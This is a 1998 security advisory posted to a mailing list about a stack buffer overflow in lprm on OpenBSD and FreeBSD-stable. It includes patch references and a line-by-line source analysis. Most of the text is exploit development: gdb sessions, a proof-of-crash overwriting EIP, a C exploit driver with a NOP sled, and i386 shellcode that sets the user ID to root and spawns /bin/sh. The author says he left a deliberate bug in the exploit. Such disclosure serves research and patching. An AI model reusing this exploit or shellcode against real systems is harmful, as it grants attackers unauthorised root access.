X-RDate: Thu, 23 Apr 1998 18:58:37 +0600 (YEKST)
X-UIDL: 35317d34000000bf
Date: Thu, 23 Apr 1998 03:33:39 +0000
From: Niall Smart <rotel@indigo.ie.>
To: [email protected]Subject: Vulnerability in OpenBSD, FreeBSD-stable lprm.Synopsis
lprm in OpenBSD and FreeBSD-stable gives a root shell under
the following conditions:
* You have a remote printer configured in /etc/printcap. (i.e. a
printer with a non-null "rm" capability.)
* The length of the attacker's username plus the length of the "rp"
capability for the remote printer is >= 7. If there is no explicit
"rp" capability specified then the system will use the default, which
has length 2, meaning that the attacker's username must be >= 5
characters long in this case.
* The hostname of the remote printer (i.e. the "rm" capability)
resolves, and neither the canonical name returned for the host
nor any of its aliases match the local hostname. (i.e. it will
not work if the "rm" capability points back at the local machine,
which would be indicative of misconfiguration anyway)
Notes
* It is not strictly necessary for the lpd daemon to be
running on the remote or local host for the exploit to work.
* This vulnerability is not present in FreeBSD-current or NetBSD-current.
* Patches to fix this vulnerability have been applied to the OpenBSD
and FreeBSD-stable source tree's in the last few hours. Obtain
the latest version of the file:
/src/usr.sbin/lpr/common_source/rmjob.c
and recompile the lpr subsystem to protect yourself against this
attack. See www.openbsd.org/security.html and www.freebsd.org
for details.
Details
lprm allows a user to remove all his jobs on a print queue by
passing his username as an argument to lprm, e.g. "lprm -P PRINTER
bloggs". Only root is allowed to specify usernames other than his
own. Passing your own username more than once (as in "lprm -P
PRINTER bloggs bloggs") is allowed, but redundant. The user(s)
specified are stored in a global array called `user'.
If the printer specified is a remote printer then lprm connects to
the remote lpd daemon and sends it a message of the form
"\5 XX USER1 USER2 ...\n" where XX is the "rp" capability of the
remote printer, or the string "lp" if this capability has not been
specified and USERN are the users from the command line.
This happens in rmremote() of rmjob.c:
317 void
318 rmremote()
319 {
320 register char *cp;
321 register int i, rem;
322 char buf[BUFSIZ];
323 void (*savealrm)(int);
324
325 if (!remote)
326 return; /* not sending to a remote machine */
327
328 /*
329 * Flush stdout so the user can see what has been deleted
330 * while we wait (possibly) for the connection.
331 */
332 fflush(stdout);
333
334 (void)snprintf(buf, sizeof(buf), "\5%s %s", RP, all ? "-all" : person);
335 cp = buf;
336 for (i = 0; i < users && cp-buf+1+strlen(user[i]) < sizeof(buf); i++) {
337 cp += strlen(cp);
338 *cp++ = ' ';
339 strcpy(cp, user[i]);
340 }
The problem lies on lines 334-335. Note that a string is snprintf()'ed
into buf and then cp is initialised to point at the beginning of
the buffer. Therefore on the first iteration around the loop on
line 336 cp - buf = 0. This means that we can pass a string of
length up to length sizeof(buf) - 1 - 1 = 1022 in user[0] (which
is the first user on the command line).
In the loop, cp is advanced by the length of the string it points
to plus one character. On the first iteration this is P + 3
characters where P = strlen(RP) + strlen(person) (RP is the "rp"
capability for the printer (default: "lp"), person is your username)
Then the contents of user[i] is appended to cp.
If we pass a string of length 1022 characters in user[0] then the
buffer will be overflowed by (1022 + P + 3 + 1) - 1024 = P + 2
bytes (including the terminating '\0') on the first iteratation of
the loop. If RP = "lp" (the default) this means that the user
bloggs can overflow by 10 bytes, the last of which will be a null
byte.
So, is this useful for bloggs? Looking at the source it would
appear not, there are three doubleword sized variables (cp, i and
rem = 12 bytes) declared before buf, meaning he can't get to the
saved EIP with his 10 byte overflow, and there doesn't seem to be
any way to get what we want from manipulating these variables.
Note that if the programmer had declared the function pointer
savealrm before the buffer then we could "restore" the SIGALRM
handler to an arbitrary location.
But -- those three variables are declared with the register
attribute!!! For the uninitiated, this is a hint to the compiler
to place those variables in a register if possible for speed of
access. Assuming the compiler can do this, it also has the side
effect of not requiring the compiler to allocate memory for the
variable if its address is not taken. A quick look through the
rest of the source for rmremote() shows that their address is not
taken -- things are looking up! Lets compile our own static
version of lprm with debugging on using the same optimisation flags
as the system Makefile and look at the assembly produced to see
where the compiler puts cp, i and rem.
$ make lprm CFLAGS="-g -static"
$ gdb lprm
(gdb) x/5i rmremote
0x2464 <rmremote>: pushl %ebp
0x2465 <rmremote+1>: movl %esp,%ebp
0x2467 <rmremote+3>: subl $0x408,%esp
0x246d <rmremote+9>: pushl %edi
0x246e <rmremote+10>: pushl %esi
(gdb) p 0x408
$3 = 1032
So, it allocates 1032 bytes on the stack, presumably this is composed
of one of cp, i and rem, then the 1024 byte buffer and then savealrm.
This would means that bloggs can overflow the saved EBP, and even
write up to two bytes to the saved EIP. (the last of which would be
NULL) Unfortunately this is useless on the Intel i386 because the
MSB(yte) of the EIP is located highest on the stack meaning we can
only influence the two LSBs of the the EIP and since our buffer
is located up at the top of the address space we need the MSB of
the saved EIP to look like 0xFF or 0xEF and it is probably 0x00
since rmremote would have been called from the text segment which
is located at the bottom of the address space. On a big endian
machine we *might* have been able to do something with this, but it
would not have been easy.
However, God is on our side again, looking down further through
the asm we notice that gcc has actually allocated the buffer at
$esp - 1024. Look at the pushing of the arguments for the call
to snprintf:
(gdb) x/11i
0x1fbc <rmremote+72>: movl $0x1550,%eax
0x1fc1 <rmremote+77>: pushl %eax
0x1fc2 <rmremote+78>: movl 0x3ea88,%eax
0x1fc7 <rmremote+83>: pushl %eax
0x1fc8 <rmremote+84>: pushl $0x1f3a
0x1fcd <rmremote+89>: pushl $0x400
0x1fd2 <rmremote+94>: leal 0xfffffc00(%ebp),%eax
0x1fd8 <rmremote+100>: pushl %eax
0x1fd9 <rmremote+101>: call 0x21630 <snprintf>
(gdb) p -(~0xfffffc00 + 1)
$2 = -1024
This means that we only need a nine byte overflow! (9 = 4 for
saved EBP + 4 for saved EIP + 1 null terminating '\0' which must
not be in saved EIP) I'm not sure why gcc has allocated the
variables in this way, but who's complaining? :)
Lets just check that we have done our sums right before moving on
to write the exploit: where do we put the bytes into user[0] so
that they overwrite the EIP? Well, writing 1028 bytes into
buf leaves us just before the EIP, to write this many bytes we
put 1028 - (P + 3) bytes in user[0], the (P + 3) comes from
the data already placed in the buffer by the snprintf.
For the user bloggs on a system where RP = "lp", P = 8. Lets check
this out on our own system: (copy lprm to get it to core dump)
$ id -un
bloggs
$ cp /usr/bin/lprm /tmp
$ /tmp/lprm -P remote `perl -e '
> print "A" x (1028 - 8 - 3);
> printf("%c%c%c%c", 0xEF, 0xBE, 0xAD, 0xDE);
> '`
connection to remote is down
zsh: segmentation fault (core dumped) /tmp/lprm -P remote
$ gdb --quiet lprm /tmp/lprm.core
Core was generated by `lprm'.
Program terminated with signal 11, Segmentation fault.
#0 0xdeadbeef in ?? ()
(gdb)
Bang on.
Exploit
[ Its all pretty much plain sailing from here on, the main reason
for this section is to demonstrate the leeto method of getting the
shellcode that I haven't seen used before. :) ]
Just before the "ret" at the end of rmremote() we want the stack
to look like this:
+-----------+
ESP -> | egg | --------\
+-----------+ |
| space | |
| space | |
| space | |
+-----------+ |
| | |
| | |
\ shellcode \ |
| | |
| | |
+-----------+ |
| nop | |
| nop | <<------/
| |
The ret instruction pops the egg off into the EIP which will
hopefully then point somewhere in the nops causing the CPU to chase
up the stack to the shellcode. The shellcode itself is a fairly
standard affair, it performs a seteuid(0), setuid(0),
exit(execve("/bin/sh", { "sh", 0 }, 0)) using the standard tricks
of xoring and subtraction of negative values to get/avoid null
bytes and a call/ret to obtain the value of the EIP so it can locate
the address of the "shAA/bin/shBCCCCDDDD" string. The neeto bit
is that the shellcode is left in source form, the assembler generates
a label for the beginning and end of the generated code so we can
just memcpy the machine language representation into the buffer.
This makes it easier to change and test the shellcode as you go,
makes the exploit more easily portable and avoids the tedious task
of hexdumping the instructions.
As discussed before, the egg is placed at user[1028 - P - 3], we
want the shellcode to be as near the top as possible, but we need
to leave 12 bytes for the 4 pushl instructions in the shell
code as the ESP will be equal to &egg + 4 when we enter the
shellcode. (only 12 bytes because the first push goes onto the egg)
This means we memcpy the shellcode into &user[1028 - P - 3 - 12 - SCSZ]
where SCSZ is the size of the shell code.
The code is appended to this file. To compile:
cc lprm-bsd.c shellcode.S -o lprm-bsd
Thanks
Special thanks to sdr and figz for letting me debug a problem with
the exploit on OpenBSD. After 8 grueling hours I eventually traced
the problem to the fact that char c = 0x90; isdigit(c) equals 0 on
FreeBSD, and >0 on OpenBSD. Life sucks. Use isascii().
<RANT>
This exploit serves to point out that code auditing is no "silver
bullet" when it comes to system security. The original patch made
to rmjob.c was audited by three people from the OpenBSD and FreeBSD
projects and yet the problem still remained. This is not a reflection
on the abilities of the code auditors but rather on the difficulty
of fully understanding and safely writing code which manages memory
allocation at the byte level.
</RANT>
Niall Smart, [email protected]
/*
lprm-bsd.c - Exploit for lprm vulnerability in
OpenBSD and FreeBSD-stable
k0ded by Niall Smart, [email protected], 1998.
The original version of this file contains a blatant error
which anyone who is capable of understanding C will be able
to locate and remove. Please do not distribute this file
without this idiot-avoidance measure.
Typical egg on FreeBSD: 0xEFBFCFDF
Typical egg on OpenBSD: 0xEFBFD648
The exploit might take a while to drop you to a root shell
depending on the timeout ("tm" capability) specified in the
printcap file.
*/
#include <sys/types.h>
#include <pwd.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
extern void BEGIN_SC();
extern void END_SC();
int
main(int argc, char** argv)
{
char buf[4096];
struct passwd* pw;
char* cgstr;
char* cgbuf;
char* printer;
char* printcaps[] = { "/etc/printcap", 0 };
int sc_size; /* size of shell code */
int P; /* strlen(RP) + strlen(person) */
unsigned egg; /* value to overwrite saved EIP with */
if (argc != 3) {
fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]);
exit(0);
}
if ( (pw = getpwuid(getuid())) == NULL)
errx(1, "no password entry for your user-id");
printer = argv[1];
egg = (unsigned) strtoul(argv[2], NULL, 0);
if (cgetent(&cgstr, printcaps, printer) < 0)
errx(1, "can't find printer: %s", printer);
if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0')
errx(1, "printer is not remote: %s", printer);
if (cgetstr(cgstr, "rp", &cgbuf) < 0)
cgbuf = "lp";
sc_size = (char*) END_SC - (char*) BEGIN_SC;
/* We can append 1022 bytes to whatever is in the buffer.
We need to get up to 1032 bytes to reach the saved EIP,
so there must be at least 10 bytes placed in the buffer
by the snprintf on line 337 of rmjob.c and the subsequent
*cp++ = '\0'; 3 = ' ' + ' ' + '\5' */
if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7)
errx(1, "your username is too short");
fprintf(stderr, "P = %d\n", P);
fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size);
fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3);
/* fill with NOP */
memset(buf, 0x90, sizeof(buf));
/* put letter in first byte, this fucker took me eight hours to debug. */
buf[0] = 'A';
/* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */
memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size);
/* finally, set egg and null terminate */
*((int*)&buf[1028 - P - 3]) = egg;
buf[1022] = '\0';
memset(buf, 0, sizeof(buf));
execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0);
fprintf(stderr, "doh.\n");
return 0;
}
/*
shellcode.S - generic i386 shell code
k0d3d by Niall Smart, [email protected], 1998.
Please send me platform-specific mods.
Example use:
#include <stdio.h>
#include <string.h>
extern void BEGIN_SC();
extern void END_SC();
int
main()
{
char buf[1024];
memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC);
((void (*)(void)) buf)();
return 0;
}
gcc -Wall main.c shellcode.S -o main && ./main
*/
#if defined(__FreeBSD__) || defined(__OpenBSD__)
#define EXECVE 3B
#define EXIT 01
#define SETUID 17
#define SETEUID B7
#define KERNCALL int $0x80
#else
#error This OS not currently supported.
#endif
#define _EXECVE_A CONCAT($0x555555, EXECVE)
#define _EXECVE_B CONCAT($0xAAAAAA, EXECVE)
#define _EXIT_A CONCAT($0x555555, EXIT)
#define _EXIT_B CONCAT($0xAAAAAA, EXIT)
#define _SETUID_A CONCAT($0x555555, SETUID)
#define _SETUID_B CONCAT($0xAAAAAA, SETUID)
#define _SETEUID_A CONCAT($0x555555, SETEUID)
#define _SETEUID_B CONCAT($0xAAAAAA, SETEUID)
#define CONCAT(x, y) CONCAT2(x, y)
#define CONCAT2(x, y) x ## y
.global _BEGIN_SC
.global _END_SC
.data
_BEGIN_SC: jmp 0x4 // jump past next two isns
movl (%esp), %eax // copy saved EIP to eax
ret // return to caller
xorl %ebx, %ebx // zero ebx
pushl %ebx // sete?uid(0)
pushl %ebx // dummy, kernel expects extra frame pointer
movl _SETEUID_A, %eax //
andl _SETEUID_B, %eax // load syscall number
KERNCALL // make the call
movl _SETUID_A, %eax //
andl _SETUID_B, %eax // load syscall number
KERNCALL // make the call
subl $-8, %esp // push stack back up
call -40 // call, pushing addr of next isn onto stack
addl $53, %eax // make eax point to the string
movb %bl, 2(%eax) // append '\0' to "sh"
movb %bl, 11(%eax) // append '\0' to "/bin/sh"
movl %eax, 12(%eax) // argv[0] = "sh"
movl %ebx, 16(%eax) // argv[1] = 0
pushl %ebx // push envv
movl %eax, %ebx //
subl $-12, %ebx // -(-12) = 12, avoid null bytes
pushl %ebx // push argv
subl $-4, %eax // -(-4) = 4, avoid null bytes
pushl %eax // push path
pushl %eax // dummy, kernel expects extra frame pointer
movl _EXECVE_A, %eax //
andl _EXECVE_B, %eax // load syscall number
KERNCALL // make the call
pushl %eax // push return code from execve
pushl %eax //
movl _EXIT_A, %eax // we shouldn't have gotten here, try and
andl _EXIT_B, %eax // exit with return code from execve
KERNCALL // JERONIMO!
.ascii "shAA/bin/shBCCCCDDDD"
// 01234567890123456789
_END_SC: